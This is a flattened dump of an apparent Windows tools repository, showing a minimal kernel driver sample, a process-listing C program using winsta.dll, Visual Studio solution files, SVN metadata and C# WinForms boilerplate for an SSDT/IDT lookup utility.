-------------------------------------------------------------------------------- /examples/samplesys/sample.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | * DDKAPI is necessary: 5 | * it is defined as __attribute__((__stdcall__)) 6 | * and this changes the calling convention for this function. 7 | * Without it the linker will fail to find _DriverEntry@8 and 8 | * will crash the kernel at unload time. 9 | */ 10 | 11 | void DDKAPI DriverUnload(PDRIVER_OBJECT driver) 12 | { 13 | DbgPrint("driver unload"); 14 | return; 15 | } 16 | 17 | NTSTATUS DDKAPI DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING registry) 18 | { 19 | DbgPrint("driver entry"); 20 | driver->DriverUnload = DriverUnload; 21 | return STATUS_SUCCESS; 22 | } -------------------------------------------------------------------------------- /examples/samplesys/simple.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/samplesys/simple.sys -------------------------------------------------------------------------------- /examples/sigver/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 39 4 | /svn/wintools/!svn/ver/139/trunk/sigver 5 | END 6 | sigver.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 48 10 | /svn/wintools/!svn/ver/139/trunk/sigver/sigver.c 11 | END 12 | sigver.vcproj 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 53 16 | /svn/wintools/!svn/ver/139/trunk/sigver/sigver.vcproj 17 | END 18 | sigver.sln 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 50 22 | /svn/wintools/!svn/ver/139/trunk/sigver/sigver.sln 23 | END 24 | -------------------------------------------------------------------------------- /examples/sigver/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/sigver 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-02-15T19:01:59.382958Z 11 | 139 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | sigver.c 30 | file 31 | 32 | 33 | 34 | 35 | 2010-02-12T13:59:31.192168Z 36 | 3a31ae17eb1527fbf3c1223c95513883 37 | 2010-02-15T19:01:59.382958Z 38 | 139 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 6528 62 | 63 | sigver.vcproj 64 | file 65 | 66 | 67 | 68 | 69 | 2010-02-12T13:58:59.942568Z 70 | e0c9e6a722921029cdacfefe81d34f18 71 | 2010-02-15T19:01:59.382958Z 72 | 139 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 3761 96 | 97 | sigver.sln 98 | file 99 | 100 | 101 | 102 | 103 | 2010-02-12T13:58:02.520739Z 104 | 8572623c4c10635cb58b036a465fa9be 105 | 2010-02-15T19:01:59.382958Z 106 | 139 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 877 130 | 131 | -------------------------------------------------------------------------------- /examples/sigver/.svn/text-base/sigver.sln.svn-base: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sigver", "sigver.vcproj", "{2284F844-60FA-45F4-87C5-EEC64B4C7EBA}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Debug|Win32.Build.0 = Debug|Win32 14 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Release|Win32.ActiveCfg = Release|Win32 15 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/sigver/sigver.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sigver", "sigver.vcproj", "{2284F844-60FA-45F4-87C5-EEC64B4C7EBA}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Debug|Win32.Build.0 = Debug|Win32 14 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Release|Win32.ActiveCfg = Release|Win32 15 | {2284F844-60FA-45F4-87C5-EEC64B4C7EBA}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/single_function_gproc_call.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define WTS_CURRENT_SERVER_HANDLE ((HANDLE)NULL) 5 | 6 | 7 | int main(void) 8 | { 9 | char szProcess[MAX_PATH]; 10 | wchar_t *wPtr; 11 | DWORD dwAddress = 0, 12 | pCount = 0, 13 | dwPid = 0, 14 | dwOffset = 0, 15 | dwIndex = 12; 16 | 17 | BOOL(WINAPI *WinStationGetAllProcess)(HANDLE,DWORD,DWORD *,DWORD *); 18 | 19 | *(FARPROC*)&WinStationGetAllProcess = GetProcAddress(LoadLibrary("winsta.dll"),"WinStationGetAllProcesses"); 20 | WinStationGetAllProcess(WTS_CURRENT_SERVER_HANDLE,0x0,&pCount,&dwAddress); 21 | 22 | for(DWORD dwCount = 0;dwCount < pCount;dwCount++) 23 | { 24 | dwOffset = *(DWORD*)(dwAddress + dwIndex); 25 | dwPid = dwOffset; 26 | dwPid = *(DWORD*)(dwPid + 0x3C + sizeof(DWORD) + sizeof(DWORD)); 27 | dwOffset = *(DWORD*)(dwOffset + 0x3C); 28 | 29 | WideCharToMultiByte(CP_ACP,0, 30 | (wchar_t*)dwOffset, 31 | -1, 32 | szProcess, 33 | sizeof(szProcess), 34 | NULL,NULL); 35 | 36 | printf("hey man its %s and PID = %d\n",szProcess,dwPid); 37 | _getch(); 38 | dwIndex+= 12; 39 | 40 | 41 | } 42 | _getch(); 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /examples/ssdt_idt/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 40 4 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt 5 | END 6 | -------------------------------------------------------------------------------- /examples/ssdt_idt/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/ssdt_idt 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:35:47.070571Z 11 | 17 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | EXE 30 | dir 31 | 32 | SYS 33 | dir 34 | 35 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 44 4 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE 5 | END 6 | Driver.cs 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 54 10 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Driver.cs 11 | END 12 | AboutForm.Designer.cs 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 66 16 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/AboutForm.Designer.cs 17 | END 18 | AboutForm.cs 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 57 22 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/AboutForm.cs 23 | END 24 | Lookup.sln 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 55 28 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Lookup.sln 29 | END 30 | Utility.cs 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 55 34 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Utility.cs 35 | END 36 | Lookup.csproj 37 | K 25 38 | svn:wc:ra_dav:version-url 39 | V 58 40 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Lookup.csproj 41 | END 42 | MainForm.resx 43 | K 25 44 | svn:wc:ra_dav:version-url 45 | V 58 46 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/MainForm.resx 47 | END 48 | MainForm.Designer.cs 49 | K 25 50 | svn:wc:ra_dav:version-url 51 | V 65 52 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/MainForm.Designer.cs 53 | END 54 | Program.cs 55 | K 25 56 | svn:wc:ra_dav:version-url 57 | V 55 58 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Program.cs 59 | END 60 | MainForm.cs 61 | K 25 62 | svn:wc:ra_dav:version-url 63 | V 56 64 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/MainForm.cs 65 | END 66 | SvcInstaller.cs 67 | K 25 68 | svn:wc:ra_dav:version-url 69 | V 60 70 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/SvcInstaller.cs 71 | END 72 | AboutForm.resx 73 | K 25 74 | svn:wc:ra_dav:version-url 75 | V 59 76 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/AboutForm.resx 77 | END 78 | Lookup.suo 79 | K 25 80 | svn:wc:ra_dav:version-url 81 | V 55 82 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Lookup.suo 83 | END 84 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/.svn/prop-base/Lookup.suo.svn-base: -------------------------------------------------------------------------------- 1 | K 13 2 | svn:mime-type 3 | V 24 4 | application/octet-stream 5 | END 6 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/.svn/text-base/AboutForm.Designer.cs.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/ssdt_idt/EXE/.svn/text-base/AboutForm.Designer.cs.svn-base -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/.svn/text-base/AboutForm.cs.svn-base: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace Lookup 10 | { 11 | public partial class AboutForm : Form 12 | { 13 | public AboutForm() 14 | { 15 | InitializeComponent(); 16 | } 17 | 18 | private void button1_Click(object sender, EventArgs e) 19 | { 20 | this.Close(); 21 | } 22 | 23 | private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) 24 | { 25 | System.Diagnostics.Process.Start("mailto:admin@d3dirc.de"); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/.svn/text-base/Lookup.sln.svn-base: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Lookup", "Lookup.csproj", "{245F228B-469E-44C9-85DD-A386C70A1043}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {245F228B-469E-44C9-85DD-A386C70A1043}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {245F228B-469E-44C9-85DD-A386C70A1043}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {245F228B-469E-44C9-85DD-A386C70A1043}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {245F228B-469E-44C9-85DD-A386C70A1043}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/.svn/text-base/Lookup.suo.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/ssdt_idt/EXE/.svn/text-base/Lookup.suo.svn-base -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/.svn/text-base/Program.cs.svn-base: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace Lookup 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// The main entry point for the application. 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new MainForm()); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/AboutForm.Designer.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/ssdt_idt/EXE/AboutForm.Designer.cs -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/AboutForm.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace Lookup 10 | { 11 | public partial class AboutForm : Form 12 | { 13 | public AboutForm() 14 | { 15 | InitializeComponent(); 16 | } 17 | 18 | private void button1_Click(object sender, EventArgs e) 19 | { 20 | this.Close(); 21 | } 22 | 23 | private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) 24 | { 25 | System.Diagnostics.Process.Start("mailto:admin@d3dirc.de"); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Lookup.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Lookup", "Lookup.csproj", "{245F228B-469E-44C9-85DD-A386C70A1043}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {245F228B-469E-44C9-85DD-A386C70A1043}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {245F228B-469E-44C9-85DD-A386C70A1043}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {245F228B-469E-44C9-85DD-A386C70A1043}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {245F228B-469E-44C9-85DD-A386C70A1043}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Lookup.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/ssdt_idt/EXE/Lookup.suo -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace Lookup 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// The main entry point for the application. 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new MainForm()); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 55 4 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Properties 5 | END 6 | AssemblyInfo.cs 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 71 10 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Properties/AssemblyInfo.cs 11 | END 12 | Settings.settings 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 73 16 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Properties/Settings.settings 17 | END 18 | Settings.Designer.cs 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 76 22 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Properties/Settings.Designer.cs 23 | END 24 | Resources.resx 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 70 28 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Properties/Resources.resx 29 | END 30 | Resources.Designer.cs 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 77 34 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/EXE/Properties/Resources.Designer.cs 35 | END 36 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/ssdt_idt/EXE/Properties 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-16T13:44:40.517816Z 11 | 1 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | AssemblyInfo.cs 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.653690Z 36 | 43a876380df315ad79344c58a9873b79 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1260 62 | 63 | Settings.settings 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.653690Z 70 | 8c0f00d7d9b0046695a0255f1b11b061 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 249 96 | 97 | Settings.Designer.cs 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:46.653690Z 104 | 2f7bc45803f477bd14591d15da84b370 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 1087 130 | 131 | Resources.resx 132 | file 133 | 134 | 135 | 136 | 137 | 2009-12-28T13:49:46.684941Z 138 | 0cd8c971317d19bbed44757809bcb92b 139 | 2009-12-16T13:44:40.517816Z 140 | 1 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 5612 164 | 165 | Resources.Designer.cs 166 | file 167 | 168 | 169 | 170 | 171 | 2009-12-28T13:49:46.684941Z 172 | eb50bd06c4e8825d7d34bed3c5335e49 173 | 2009-12-16T13:44:40.517816Z 174 | 1 175 | hammackj 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 2839 198 | 199 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/.svn/text-base/AssemblyInfo.cs.svn-base: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Lookup")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Lookup")] 13 | [assembly: AssemblyCopyright("Copyright © 2002")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e776dec3-583c-4ed3-be6c-df8f2990716f")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/.svn/text-base/Settings.Designer.cs.svn-base: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:2.0.50727.1433 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Lookup.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/.svn/text-base/Settings.settings.svn-base: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Lookup")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Lookup")] 13 | [assembly: AssemblyCopyright("Copyright © 2002")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e776dec3-583c-4ed3-be6c-df8f2990716f")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:2.0.50727.1433 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Lookup.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /examples/ssdt_idt/EXE/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 44 4 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/SYS 5 | END 6 | lookup.h 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 53 10 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/SYS/lookup.h 11 | END 12 | general.h 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 54 16 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/SYS/general.h 17 | END 18 | sources 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 52 22 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/SYS/sources 23 | END 24 | lookup.c 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 53 28 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/SYS/lookup.c 29 | END 30 | lookup.rc 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 54 34 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/SYS/lookup.rc 35 | END 36 | makefile 37 | K 25 38 | svn:wc:ra_dav:version-url 39 | V 53 40 | /svn/wintools/!svn/ver/17/trunk/ssdt_idt/SYS/makefile 41 | END 42 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/ssdt_idt/SYS 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-16T13:44:40.517816Z 11 | 1 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | lookup.h 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.825573Z 36 | bb05089af5994fd040c5461c2ac27ada 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 457 62 | 63 | general.h 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.825573Z 70 | 72c3dac7767d570e29c46ab3956cb7e9 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 3041 96 | 97 | sources 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:46.825573Z 104 | 9c6864260e8a227537879b59e7492030 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 86 130 | 131 | lookup.c 132 | file 133 | 134 | 135 | 136 | 137 | 2009-12-28T13:49:46.841198Z 138 | 3fce94c423c9f5d9dceb4139680bc465 139 | 2009-12-16T13:44:40.517816Z 140 | 1 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 6153 164 | 165 | lookup.rc 166 | file 167 | 168 | 169 | 170 | 171 | 2009-12-28T13:49:46.841198Z 172 | 35a994cb816414f10073cc13eb19941b 173 | 